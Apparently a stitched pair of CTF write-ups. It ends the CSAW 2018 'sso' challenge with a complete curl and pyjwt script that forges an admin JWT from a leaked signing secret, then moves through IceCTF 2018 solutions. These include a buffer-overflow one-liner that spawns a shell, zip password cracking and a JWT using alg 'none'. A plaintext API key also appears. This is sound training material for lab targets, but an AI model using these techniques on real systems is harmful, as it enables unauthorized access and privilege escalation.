And I was confused of seeing the same LED diode connected multiple times to the path. So, when I should set a value (0 or 1) to the LED Diode, I say 'should it be 'xx1xxxx' (setting the LED value in the first match) or 'xxxxx1x' (setting the LED value in the last match) 'xx1xx1x' (setting the LED value in all matches) ?
Example :
Should it be '1xxxx' (1 related to the LED marked with a green color) or should it be 'xxxx1' or should it be all of these as '1xxxx1' ?
I was just stuck.
And finally in the last 10 minutes before the end of the CTF I get it !
It was not `for each LED Diode we count a bit`. Instead it was `For each cable connected to the principle path, we count a bit`:
Finally, we get the following bits :
```01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001 01101000 01100001 01101110 01100100 01111101```
Which are in ascii `flag{owmyhand}`.
So, the flag is `flag{owmyhand}`.
## sso
**Category:** Web**Points:** 100**Solved:** 210**Description:**
> Don't you love undocumented APIs
> Be the admin you were always meant to be
> http://web.chal.csaw.io:9000
> Update chal description at: 4:38 to include solve details
> Aesthetic update for chal at Sun 7:25 AM
### Write-upIn this task, we have the given web page `http://web.chal.csaw.io:9000` :
In the source code we can finde more details about the available URLs:
So we have to access to `http://web.chal.csaw.io:9000/protected`. But, when we access to this page, we get this error :
We need an Authorization header which is used in many applications that provides the Single Sign-on which is an access control property that gives a user a way to authenticate a single time to be granted to access to many systems if he is authorized.
And that's why we need those 3 links :
> `http://web.chal.csaw.io:9000/oauth2/authorize` : To get the authorization from the Oauth server
> `http://web.chal.csaw.io:9000/oauth2/token` : To request for the JWT token that will be used later in the header (as Authorization header) instead of the traditional of creating a session in the server and returning a cookie.
> `http://web.chal.csaw.io:9000/protected` : To get access to a restricted page that requires the user to be authenticated. The user should give the Token in the Authorization header. So the application could check if the user have the required authorization. The JWT Token contains also the user basic data such as "User Id" without sensitive data because it is visible to the client.
In this example, the Oauth server and the application that contains a protected pages are the same.
In real life, this concept is used in social media websites that are considered as a third party providing an Oauth service to authenticate to an external website using the social media's user data.
Now let's see what we should do.
First, we sould get the authorization from the Oauth server using these parameters:
> URL : http://web.chal.csaw.io:9000/oauth2/authorize
> Data : response_type=code : This is mandatory
> Data : client_id=A_CLIENT_ID : in this task, we can use any client_id, but we should remember it always as we use it the next time in thet /oauth2/token page
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : if the authorization succeeded (in the Oauth server), the user will be redirected to this URI (in the application) to get the generated token. In this task we can use any redirect_uri. Because, in any way, we are not going to follow this redirection
> Data : state=123 : Optionally we can provide a random state. Even, if we don't provide it, it will be present in the response when the authorization succeed
So in shell command, we can use cURL command to get the authorization :
```cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')echo "Getting Authorization Code : ${auth_key}"```
Output :
```Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjU2MTEsImV4cCI6MTUzNzIyNjIxMX0.LM3-5WruZfx1ld9SidXAGvnF3VNMovuBU4RtFYy8rrg```
So, this is the autorization code that we should use to generate the JWT Token from the application.
Let's continue.
As we said, we will not follow the redirection. Even you did that, you will get an error. I'm going to explain that.
Next, we send back that Authorization Code to the application (`http://web.chal.csaw.io:9000/oauth2/token`) :
> URL : http://web.chal.csaw.io:9000/oauth2/token
> Data : grant_type=authorization_code : mandatory
> Data : code=THE_GIVEN_AUTHORIZATION_CODE : the given authorization code stored in auth_key variable from the previous commands
> Data : client_id=SAME_CLIENT_ID : the same client id used in the begining (variable cl_id)
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : this URI should be the same redirect_uri previously used
So the cURL command will be :
```echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")echo "Getting Json Response : ${token}"```
Output :
```Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k"}```
And, we get the Json response from the token page. Now, this application generated for us a JWT Token that contains some data that identifies our user which is supposed to be previously authenticated to the Oauth server (I repeat, I said it's supposed to be. To give you an example, it's like a website, that needs to get authorization from Facebook to get access to your user data and then it returns a JWT Token that contains an ID that identifies you from other users in this external website. So you should be previously authenticated to the Oauth server (Facebook) before that this external website gets an authorization to get access to your user data. Seems logical).
Let's extract the JWT Token from the Json response :
```jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Extracting JWT Token : ${jwt}"```
Output :
```Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k```
Nice ! Now, we decode this JWT Token using python. If you don't have installed the 'PyJWT' python library, you should install it in Python2.x :
```pip install PyJWTjwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"```
Output :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Good ! Now, we know that secret="ufoundme!" and the type="user".
In the first impression when I get this output, I said, why there is no username or user id and instead there is the secret ?
Maybe my user is an admin as expected from the task description.
But when I try to access to the protected page using this JWT Token I get this :
```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt}"```
Output :
```You must be admin to access this resource```
Wait... What ? Why I'm not already an admin ?
When I checked again all the previous steps I said there is no way how to set my user to be an admin, I didn't get it how to do that.
Because, as I said, the user is supposed to be authenticated to the Oauth server.
Some minutes later I though that the solution is behind this line :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Maybe, type="user" should be type="admin". But, in JWT, if the used algorithm that generates the token is HS256, there is no way to break it. Because JWT Token is composed from "Header"+"Payload"+"Hash". And when we modify the Payload, we should have the key that is used to hash the payload to get a valid JWT Token.
And, from there I get the idea that maybe the hash is computed using a key which is a secret string. And since we have in the payload secret="ufoundme!", this will make sense !
Let's try it !
First, we edit the payload like this (we can change exp value and extend it if the token is expired) :
```{"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
So, we need using these commands :
```jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"```
Output :
```Replacing 'user by 'admin' : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
Then, we generate again the JWT Token using the alogirhm HS256 and using the secret "ufoundme!" :
```secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"```
Output :
```Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjc2MjUsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyODIyNX0.Y-7Ew7nYIEMvRJad_T8_cqZpPxAo_KOvk24qeTce9S8```
We can check the content of the JWT Token if needed :
```verif=$(pyjwt decode --no-verify $jwt_new)```
Output :
```Verifing the JWT Token content : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
And finally we send try again get accessing to the protected page using this newly created JWT :
```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"```
Output :
```flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
To resume all the commands needed to get the flag, you can get all the commands from below or from this [sso_solution.sh](resources/web-100-sso/sso_solution.sh)
```sh#!/bin/bash
cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io$echo "Getting Authorization Code : ${auth_key}"echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=ht$echo "Getting Json Response : ${token}"jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Installing PyJWT python2.x library"pip install PyJWTecho "Extracting JWT Token : ${jwt}"jwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"verif=$(pyjwt decode --no-verify $jwt_new)echo "Verifing the JWT Token content : ${verif}"echo "GET http://web.chal.csaw.io:9000/protected"echo "Response :"curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"echo ""```
Output :
```POST http://web.chal.csaw.io:9000/oauth2/authorizeGetting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjg3ODMsImV4cCI6MTUzNzIyOTM4M30.1w-Wrwz-jY9UWErqy_W8Xra8FUUQdfJttvQLbELY050POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization CodeGetting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI"}Installing PyJWT python2.x libraryRequirement already satisfied: PyJWT in /usr/local/lib/python2.7/dist-packagesExtracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaIDecoding JWT Token : {"iat": 1537228783, "secret": "ufoundme!", "type": "user", "exp": 1537229383}Replacing 'user by 'admin' : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjg3ODMsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyOTM4M30.RCW_UsBuM_0Le-kawO2CNolAFwUS3zYLoQU_2eDCurwVerifing the JWT Token content : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}GET http://web.chal.csaw.io:9000/protectedResponse :flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
So, the flag is `flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`
# Scoreboard
Our team S3c5murf (2 team members thanks to Dali) get ranked 139/1488 active challenger with a score 1451.
This is the scoreboard and the ranking in this CTF :
Summary:
Tasks:
|
# IceCTF 2018
2-Week-long Icelandic CTF in September 2018
Team: Galaxians

## Overview```Title Category Points Flag------------------------------ -------------- ------ -----------------------------Toke Relaunch Web 50 IceCTF{what_are_these_robots_doing_here}Lights out Web 75 IceCTF{styles_turned_the_lights}Friรฐfinnur Web 200 IceCTF{you_found_debug}History of Computing Web 350
Simple Overflow Binary 250Cave Binary 50 IceCTF{i_dont_think_caveman_overflowed_buffers}Twitter Binary 800
Modern Picasso Forensics 150 IceCTF{wow_fast}Hard Shells Forensics 200 IceCTF{look_away_i_am_hacking}Lost in the Forest Forensics 300 IceCTF{good_ol_history_lesson}
garfield Cryptography 100 IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}Posted! Cryptography 250Think outside the key! Cryptography 200Ancient Foreign Communications Cryptography 300 IceCTF{squeamish ossifrage}
Drumbone Steganography 150 IceCTF{Elliot_has_been_mapping_bits_all_day}Hot or Not Steganography 300 IceCTF{h0td1gg1tyd0g}Rabbit Hole Steganography 400 IceCTF{if_you_see_this_youve_breached_my_privacy}
Locked Out Reversing 200Poke-A-Mango Reversing 250Passworded! Reversing 400
Hello World! Misc 10 IceCTF{this_is_a_flag}anticaptcha Misc 250 IceCTF{ahh_we_have_been_captchured}ilovebees Misc 199 IceCTF{MY_FAVORITE_ICON}Secret Recipe Misc 290```
## Web 50: Toke Relaunch
**Challenge**
We've relaunched our famous website, Toke! Hopefully no one will hack it again and take it down like the last time.
**Solution**
The link leads to some marijuna website

Last edition the toke challenge had the flag hidden in a cookie, but no cookies are set this time, so we have to look elsewhere
We check the robots.txt file and see:
```User-agent: *Disallow: /secret_xhrznylhiubjcdfpzfvejlnth.html
```
the disallowed file contains our flag.
**Flag**```IceCTF{what_are_these_robots_doing_here}```
## Web 75: Ligths out
**Challenge**
Help! We're scared of the dark!
https://static.icec.tf/lights_out
**Solution**
We see a black page

with source:
```html
<html> <head> <meta charset="utf-8" /> <title>Lights out!</title> <link rel="stylesheet" href="main.css" /> </head> <body> <div class="alert alert-danger">Who turned out the lights?!?!</div> <summary> <div class="clearfix"> <small></small> <small></small> </div> </summary> </body></html>
```
Some fiddling with the css yields the flag

**Flag**
```IceCTF{styles_turned_the_lights}```
## Web 200: Friรฐfinnur
**Challenge**
Eve wants to make the hottest new website for job searching on the market! An avid PHP developer she decided to use the hottest new framework, Laravel! I don't think she knew how to deploy websites at this scale however....
https://gg4ugw5xbsr2myw-fridfinnur.labs.icec.tf/
**Solution**
Not sure if this was the intended solution, but requesting an url for a nonexistant job listing lead to an error message containing the flag:
https://29nd70ux6kr7ala-fridfinnur.labs.icec.tf/jobs/galaxian

**Flag**```IceCTF{you_found_debug}```
## Web 350: History of Computing
**Challenge**
One of the authors of IceCTF made this page but I don't think it's very accurate. Can you take hack it before the IceCTF team gets sued?
**Solution**
A blogging website with registration/login forms and comment submission

If we log in we get a cookie
```token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZmxhZyI6IkljZUNURntob3BlIHlvdSBkb24ndCB0aGluayB0aGlzIGlzIGEgcmVhbCBmbGFnfSJ9.session: eyJ1c2VyIjozfQ.DnrHzA.T60QwnNSuvq2HH0VSnNqqzFZ-24```
which base64 decode to:
```token: {"typ":"JWT","alg":"none"}.{"username":"testuser","flag":"IceCTF{hope you don't think this is a real flag}"}session: {"user":3}.?.?```
**Flag**
## Binary Exploit 200: Simple Overflow
**Challenge**
In programming, a buffer overflow is a case where a program, while it is writing data somewhere, overruns the boundary and begins overwriting adjacent memory. This is one of the first vulnerabilities used to exploit software. Modern programming languages tend to provide protection against this type of vulnerability, but it is still observed commonly in low-level software.
Buffer overflows can be a complex vulnerability to understand and exploit due to their low-level nature. To assist you in your training, we have provided a memory simulation in the middle to help you understand what happens when your input in the textbox is passed to the program on the left. The simulation shows you the memory layout of the underlying process, where your buffer is red, and the secret value is green. Try entering values into the box and observe how the values that the program sees change on the left.
In this case, the buffer sits on top of the stack memory, with the variable secret sitting just below it. As you will observe, the size limitation placed on buffer is not enforced, allowing you to write more than 16 characters. Get a feel for buffer overflows by exploring the above code.
Once you are comfortable with buffer overflows, exploit the program to grant you the flag.
[overflow.c](writeupfiles/overflow.c)
**Instructions**1. Hello world!In the textbox in the middle, try entering Hello World!. Observe which variable within the code takes the value.
2. Overflow!What happens if you write more than 16 characters into the buffer? Can you make the secret change?
3. Take controlCan you make secret take the value 1633771873 (0x61616161). Note that strings are stored in ASCII, and in ASCII, character number 0x61 is a.
4. Little endianIn most architectures, integers are read in reverse byte order from memory, in a method which is called Little endian. Can you make the secret take the value 1633837924 (0x61626364)?
5. Escape from ASCIIAs you may see in the code, to get past the restrictions and retrieve the flag, secret needs to have a value of 0xcafebabe. However not all these characters are in ASCII! What will you do?
**Solution**
We examine the source code
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
const char* FLAG = "<REDACTED>"
void flag() { printf("FLAG: %s\n", FLAG);}
void message(char *input) {
char buf[16] = "";
int secret = 0;
strcpy(buf, input);
printf("You said: %s\n", buf);
if (secret == 0xcafebabe) { flag(); } else { printf("The secret is 0x%x\n", secret); }}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./overflow <message>\n"); } return 0;}```
**Flag**
## Binare Exploit 50: Cave
**Challenge**
You stumbled upon a cave! I've heard some caves hold secrets.. can you find the secrets hidden within its depths?
```c#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
void shell() { gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i");}
void message(char *input) { char buf[16]; strcpy(buf, input);
printf("The cave echoes.. %s\n", buf);}
int main(int argc, char **argv) { if (argc > 1){ message(argv[1]); } else { printf("Usage: ./shout <message>\n"); } return 0;}```
**Solution**
Another buffer overflow challenge, this time we need to overwrite the return address to call the `shell()` function.First we need to find out what that address should be, we can do this with gdb's `info functions shell` or`objdump -d ./shout | grep shell` and find out that the address is `0x0804850b`
So we need to overwrite the return address with this address, in little endian order:
```./shout `python -c "print('a'*28+'\x0b\x85\x04\x08')"````
this gives us a root shell and we can read the contents of `flag.txt` to read our flag:
**Flag**
```IceCTF{i_dont_think_caveman_overflowed_buffers}```
## Binary Exploit 800: Twitter
**Challenge**
Someone left a time machine in the basement with classic games from the 1970s. Let me play these on the job, nothing can go wrong.
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-twitter```
**Solution**
**Flag**
## Forensics 150: Modern Picasso
**Challenge**
Here's a rendition of some modern digital abstract art. Is it more than art though?

**Solution**
Using imagemagick to convert the white background in each frame to transparant:
```convert picasso.gif -transparent white picasso_transparent.gif```
gives a gif that slowly builds up the flag:

**Flag**
```IceCTF{wow_fast}```
## Forensics 200: Hard Shells
**Challenge**
After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
[file](writeupfiles/hardshells)
**Solution**
the file is an encrypted zip file.
we use fcrackzip with the crackstation wordlist to find the password
```bash$ fcrackzip -v --use-unzip -D -p wordlist hardshells.zip'hardshells/' is not encrypted, skippingfound file 'hardshells/d', (size cp/uc 309500/5242880, flags 9, chk 91d0)checking pw TILIGUL'S
PASSWORD FOUND!!!!: pw == tacos```
the [file we get](writeupfiles/d) now is a Minix filesystem
```bash$ file dd: Minix filesystem, V1, 30 char names, 20 zones```
Running `strings`, we found `IHDR` indicating it might be a PNG file. Comparingthe file (in vim) to a normal PNG file we discovered they'd changed PNG to PUGand the file became valid.
This gives us a nice screenshot of someone's desktop, with the flag.

**Flag**```IceCTF{look_away_i_am_hacking}```
## Forensics 300: Lost in the Forest
**Challenge**You've rooted a notable hacker's system and you're sure that he has hidden something juicy on there. Can you find his secret?
**Solution**We receive a zip file named 'fs.zip' which contains a partial root file system of our hacker's machine. After unzipping we looked for all potentially interesting files:
```find -type f .```
And spotted './home/hkr/Desktop/clue.png' which is just a picture of a redherring. Cute. So the other dozens of JPGs are probably also red herrings. Nextwe looked for more interesting files and just looked at them individually witha text editor:
```vim `find -type f .````
Most were rather uninteresting, but there was a base64 looking string,`./home/hkr/hzpxbsklqvboyou` which might be interesting later. In`.bash_history` there were some interesting commands:
```wget https://gist.githubusercontent.com/Glitch-is/bc49ee73e5413f3081e5bcf5c1537e78/raw/c1f735f7eb36a20cb46b9841916d73017b5e46a3/eRkjLlksZpmv eRkjLlksZp tool.py./tool.py ../secret > ../hzpxbsklqvboyou```
So that script generated the base64 stuff on the desktop. We'll just write a [decode version of the script](./writeupfiles/lost-in-the-forest.py) and decrypt our output.
**Flag**```IceCTF{good_ol_history_lesson}```
## Cryptography 100: garfeld
**Challenge**
You found the marketing campaign for a brand new sitcom. Garfeld! It has a secret message engraved on it. Do you think you can figure out what they're trying to say?

**Solution**
The image reads:
`IjgJUO{P_LOUV_AIRUS_GYQUTOLTD_SKRFB_TWNKCFT}`
Looks like the flag but encrypted somehow
Turns out to be vigenere with key `ahchbjhi`
we later realized that the `07271978` at the top of the image is a hint for this key with A=0,B=1 etc
**Flag**
```IceCTF{I_DONT_THINK_GRONSFELD_LIKES_MONDAYS}```
## Cryptography 250: Posted!
**Challenge**
Apparently some bitwise boi is posting flags all over the place. He gave us a hint, though.
```DychGDZJRRsEUTI0JDViVlxeZyFIBCM7MwosGRQCMCgZJCIrGCsoRkFIajcSKhBTGx9XeTV4MDlZB1Y=```
He also gave us another hint: 41
**Solution**
base64 decode, then probably one or more bitwise operation (due to mention of 'bitwise boi' in description), likely involving the number 41
**Flag**
## Cryptography 400: Think outside the key
**Challenge**
Estelle was messing around with her computer and she ended up outputting some garbage! Could you figure out what this means?!
Note: The flag is of the format `IceCTF{<text>}` where `<text>` is the decrypted text.
[mess.txt](writeupfiles/mess.txt)
**Solution**
```iรขโกยงfjag8รขโกยงqvรขโกยงqy4รขโกยงdag8k0qรขโกยงptag86รขโกยงsรขโกยงhecรขโกยงlรขโกยงc4ag8z3ssag8รขโกยงq7y66b```
**Flag**```flag```
## Cryptography 300: Ancient Foreign Communications
**Challenge**We got word from a friend of ours lost in the depths of the Andorran jungles! Help us figure out what he is trying to tell us before its too late!
Note: The flag here is non-standard, in the result you should end up with some words! The flag is IceCTF{<words, lowercase, including spaces>}
**Solution**We're given a file with hex bytes, we can use `xxd` to covnert that into the appropriate characters/bytes:
```xxd -r -p comms.txt > out.txt```
Which is full of some fun symbols?
```โจ
]]โโโ[โจ]โ]]]โจโจโจโ[[[โโโโโโโโโจโโโโโโโโโโโโโจ
โจ
โโโจ[]]]โโโโ]]โ[[[โโโโโโโโโ]]]โโโโโโโจ]โโ```
combining pigpen cipher with T9 we translate this to:

```โจ
]] โโ โ [ โจ ] โ ]]] โจโจโจ โ [[[ โโโ โ โโโโ โจ โโโ โโ โโโโ โ โโ โจ
โจ
โโ โจ [ ]]] โโโโ ]] โ [[[ โโโโ โ โโโโ ]]] โโโ โโโ โจ ] โโt h e _ m a g _ i c w o r d s a r e s _ q u e a m i s h _ o s _ s i f r a g e```
method explained:
- `โจ
` in pigpen would signify `H`, when we instead combine this with T9, it would mean the letter `t` (one press on the number `8`)- `]]` would be the `dd` in classic pigpen, but now signifies 2 presses on the number `4`, which would be an `h`- `โโ` is two presses on the 3, so a letter `e`- etc
This gives us the sentence
```the magic words are squeamish ossifrage```
Which was the solution to a challenge ciphertext set by the inventor of RSA in 1977 ([link](https://en.wikipedia.org/wiki/The_Magic_Words_are_Squeamish_Ossifrage))
**Flag**```IceCTF{squeamish ossifrage}```
## Steganography 150: Drumbone
**Challenge**
I joined a couple of hacking channels on IRC and I started recieving these strange messages. Someone sent me this image. Can you figure out if there's anything suspicous hidden in it?

**Solution**
Nothing in exif data, nothing with binwalk, nothing obvious, so we check the LSB of each challenge. The blue channel seems to consist of only odd number, this seems suspicious so we investigate furter. Mapping the LSB of each of the RGB channels to black or white gives the following result:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeprint(w,h)
outimg_r = Image.new('RGB', (w,h), "white")outimg_g = Image.new('RGB', (w,h), "white")outimg_b = Image.new('RGB', (w,h), "white")
pixels_r = outimg_r.load()pixels_g = outimg_g.load()pixels_b = outimg_b.load()
for i in range(0,w): for j in range(0,h): (r,g,b) = pixels[i,j] if not r&1: pixels_r[i,j] = (0,0,0) if not g&1: pixels_g[i,j] = (0,0,0) if not b&1: pixels_b[i,j] = (0,0,0)
outimg_r.save("outimg_r.png")outimg_g.save("outimg_g.png")outimg_b.save("outimg_b.png")```
This gives us the following images:

Bingpot! the blue channel seems to contain a QR code!
We clean up the image a bit to get our flag:
```pythonfrom PIL import Image
img = Image.open('drumbone.png')pixels = img.load()
(w,h) = img.sizeoutimg_b = Image.new('RGB', (outw,outh), "white")pixels_b = outimg_b.load()
wout = -1hout = -1for i in range(1,w,6): wout += 1 hout = -1 for j in range(1,h,6): hout+=1 (r,g,b) = pixels[i,j] if not b&1: pixels_b[wout,hout] = (0,0,0)
outimg_b = outimg_b.resize((10*outw,10*outh))outimg_b.save("outimg_b.png")```

**Flag**```IceCTF{Elliot_has_been_mapping_bits_all_day}```
## Steganography 300: Hot or Not
**Challenge**
According to my friend Zuck, the first step on the path to great power is to rate the relative hotness of stuff... think Hot or Not.
(this is a scaled-down image, original was >70Mb)
**Solution**
Looking at the image more closely, we see it is made up of a series of subimages of either dogs or hotdogs.

Looks like we have to classify the subimages into hotdogs or regular dogs..
First we split the image up into all its subimages with imagemagick
```bash$ convert -crop 224x224 +repage hotdogs/out%04d.jpg```
Next, we can use [Clarifai](https://clarifai.com) to do the image recognition to determine whether the subimages are dogs or hotdogs. Clarifai gives you 5000 free operations per month, but since we have a little over 7500 subimages, we needed two accounts to perform this analysis.
```pythonimport osimport jsonfrom PIL import Imagefrom clarifai.rest import ClarifaiAppfrom clarifai.rest import Image as ClImage
app = ClarifaiApp(api_key='f7f15032b1a04f1fafc2092c63e50e9f')model = app.models.get('general-v1.3')
# detect image contents for all subimagespixels = []for i in range(0,87*87): image = ClImage(file_obj=open("hotdogs/out"+str(i).zfill(4)+".jpg", 'rb')) response = model.predict([image])
hot = False concepts = response['outputs'][0]['data']['concepts'] for concept in concepts: if 'food' in concept['name']: hot = True pixels += [1 if hot == True else 0]
# make qr code image(w,h)=(87,87)
outimg = Image.new( 'RGB', (w,h), "white")pixels_out = outimg.load()
p = 0for i in range(0,h): for j in range(0,w): print(pixels[p]) if pixels[p] == 1: pixels_out[j,i]=(0,0,0) else: pixels_out[j,i]=(255,255,255) p += 1
outimg = outimg.resize((5*w,5*h))outimg.save("pixels_outimg2.png","png")```
This outputs the following image:

This is clearly a QR code, it is just missing the corner anchors. We add these and clean the image up slightly:

**Flag**```IceCTF{h0td1gg1tyd0g}```
## Steganography 400: Rabbit Hole
**Challenge**
Here's a picture of my favorite vegetable. I hope it doesn't make you cry.

**Solution**
After a lot of experimenting, we find out we can uncover a hidden message from the image using steghide:
```bash$ steghide extract -sf rabbithole.jpgEnter passphrase: <onion>wrote extracted data to "address.txt".```
whoo! contents of the file `address.txt` is:
```wsqxiyhn23zdi6ia```
might be an `.onion` link? Opening `http://wsqxiyhn23zdi6ia.onion` with a tor browser (or via https://onion.link/) gives:
[rabbithole.html](writeupfiles/rabbithole.html)

```html
<html> <head> <title>Rabbit Hole</title> <meta charset="UTF-8"> <style> body { background: black; }
p { max-width: 750px; text-align: center; color: #00ff00; margin: 0px auto; }
#header { max-width: 989px; margin: 0px auto; }
#footer { margin: 100px 0; text-align: center; }
#error { max-width: 350px; }
#eyes { max-width: 200px; } </style> </head> <body> <div id="header"> </div> ่ใ ใใใ่่ใใใใใใใตใ๊ณ???? [..]
่ใ ใใใ่่ใใใใใใใตใ๊ณ???? [..]
<div id="footer"> </div> </body></html>
```

We find nothing in the images, but after some hints we find that the chinese characters are [base65536](https://github.com/Parkayun/base65536)
[file with just the characters](writeupfiles/rabbithole_characters.txt)
```python# pip install base65536
import base65536
with open('rabbithole_characters.txt','r') as f: ct = f.readline().rstrip().replace(' ','')
with open('rabbithole_out','wb') as f2: f2.write(base65536.decode(ct))```
which turns out to be an [epub](writeupfiles/rabbithole_out.epub) on cell phone hacking. Searching the contents for the flag gives it to us

**Flag**```IceCTF{if_you_see_this_youve_breached_my_privacy}```
## Reverse Engineering 200: Locked out
**Challenge**This is a fancy looking lock, I wonder what would happen if you broke it open?
```ssh -p 2222 ssh.icec.tf -l gg4ugw5xbsr2myw-lockedout```
Note: the binary is [here](writeupfiles/lock)
**Solution**
**Flag**
## Reverse Engineering: Poke-A-Mango
**Challenge**
I love these new AR games that have been coming out recently, so I decided that I would make my own with my favorite fruit! The Mango!
